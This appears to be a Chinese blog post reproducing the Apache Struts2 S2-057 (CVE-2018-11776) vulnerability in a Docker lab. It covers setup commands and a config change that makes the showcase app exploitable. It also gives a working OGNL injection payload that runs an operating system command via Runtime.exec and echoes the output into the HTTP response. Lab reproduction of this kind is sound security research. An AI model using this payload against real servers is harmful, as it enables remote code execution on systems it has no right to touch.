标签：命令 str 需要 classpath class conf 搭建 ram version
https://github.com/vulhub/vulhub/tree/master/struts2/s2-048
docker-compose up -d
docker exec -i -t 88fd8d560155 /bin/bash
后台启动进入docker 
根据公告 https://struts.apache.org/releases.html
Release Release Date Vulnerability Version Notes Struts 2.5.16 16 March 2018 S2-057 Version notes Struts 2.5.14.1 30 November 2017 Version notes Struts 2.5.14 23 November 2017 S2-055, S2-054 Version notes
Struts 2.5.16存在s2-057漏洞，然后去下载这个版本
https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip/
apt-get update -y mkdir /usr/local/tomcat/webapps/test wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip apt-get install unzip -y cp struts2-showcase.war /usr/local/tomcat/webapps/
先查找文件struts-actionchaining.xml，发现有2处需要修改
root@88fd8d560155:/usr/local/tomcat/webapps/test# locate struts-actionchaining.xml /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml /usr/local/tomcat/webapps/test/struts-2.5.16/src/apps/showcase/src/main/resources/struts-actionchaining.xml root@88fd8d560155:/usr/local/tomcat/webapps/test#
配置文件修改-参考链接： https://lgtm.com/blog/apache_struts_CVE-2018-11776
改为如下所示：
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
然后去bin目录，kill掉进程,因为修改了配置文件，所以需要重启服务
root@88fd8d560155:/usr/local/tomcat/bin# cd /usr/local/tomcat/bin/ root@88fd8d560155:/usr/local/tomcat/bin# ls bootstrap.jar catalina.sh commons-daemon.jar daemon.sh setclasspath.sh startup.sh tool-wrapper.sh catalina-tasks.xml commons-daemon-native.tar.gz configtest.sh digest.sh shutdown.sh tomcat-juli.jar version.sh root@88fd8d560155:/usr/local/tomcat/bin# ./shutdown.sh
? ? root@HK ~/vulhub/struts2/s2-048 master ● docker-compose up -d Starting s2-048_struts2_1 ... done ? root@HK ~/vulhub/struts2/s2-048 master ●
docker 靶机：http://www.canyouseeme.cc:8080/struts2-showcase/
命令执行：http://www.canyouseeme.cc:8080/struts2-showcase/${(111+111)}/actionChain1.action
${(111+111)}
得到执行结果返回在url中：http://www.canyouseeme.cc:8080/struts2-showcase/222/register2.action
poc-example:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec(‘calc‘).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
拆分
${ ( #_memberAccess["allowStaticMethodAccess"]=true, #a=@java.lang.Runtime@getRuntime().exec(‘calc‘).getInputStream(), #b=new java.io.InputStreamReader(#a), #c=new java.io.BufferedReader(#b), #d=new char[51020], #c.read(#d), #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(), #jas502n.println(#d), #jas502n.close()) }
https://github.com/vulhub/vulhub/tree/master/struts2/s2-048 https://lgtm.com/blog/apache_struts_CVE-2018-11776 https://cwiki.apache.org/confluence/display/WW/S2-057 https://www.anquanke.com/post/id/157518
标签：命令 str 需要 classpath class conf 搭建 ram version
原文地址：https://www.cnblogs.com/wushangguo/p/9523153.html
